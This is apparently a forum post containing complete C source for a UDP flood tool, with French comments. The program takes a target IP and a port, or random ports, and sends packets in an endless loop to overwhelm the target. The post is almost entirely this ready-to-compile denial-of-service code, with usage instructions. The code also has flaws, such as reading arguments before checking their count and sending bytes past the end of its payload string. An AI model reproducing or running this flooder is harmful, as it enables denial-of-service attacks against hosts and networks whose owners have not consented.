it's done
Code:
/* compilation : gcc udp.c -o nom
utilisation : ./nom ip port
exemple d'utilisation : ./udp 80.70.60.50 80
fonctionne sous linux, sunOS, BSD, kernel 2.2x avec gcc 4.x ou plus
*/
#define UDP_STRING "LOL"
#define UDP_SIZE 50
#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
int connection(char *, unsigned short);
int connection(char *serveur, unsigned short port)
{
struct sockaddr_in udp;
struct hostent *bbs;
int initsocket;
bbs = gethostbyname(serveur);
if (bbs==NULL) {
printf("host inconnu: %s\n",serveur);
exit(0);
}
//printf("Innondation de paquet UDP sur %d\n ", port);
bzero((char*) &udp,sizeof(udp));
bcopy(bbs->h_addr, (char *) &udp.sin_addr, bbs->h_length);
udp.sin_family = bbs->h_addrtype;
udp.sin_port = htons(port);
initsocket = socket(AF_INET, SOCK_DGRAM, 0);
connect(initsocket,(struct sockaddr *) &udp, sizeof(udp));
return initsocket;
}
main(int argc, char **argv)
{
int i;
int value = 0;
const int MAX =65535;
const int MIN =1;
int port =atoi(argv[2]);
srand(time(NULL));
if(argc != 3)
{
fprintf(stderr, "Utilisation: %s ip port ou ip -1 ( random port )\n",argv[0]);
exit(0);
}
if(port ==-1){
printf("Innondation de paquet UDP sur %s en random\n ", argv[1]);
for(;;)
{
i =connection(argv[1], (unsigned short)((rand() % (MAX - MIN + 1)) + MIN));
send(i, UDP_STRING, UDP_SIZE, 0);
}
}else{
i=connection(argv[1], port);
printf("Innondation de paquet UDP sur %s:%d\n ", argv[1], (unsigned short)port);
for(;;)
{
send(i, UDP_STRING, UDP_SIZE, 0);
}
}
}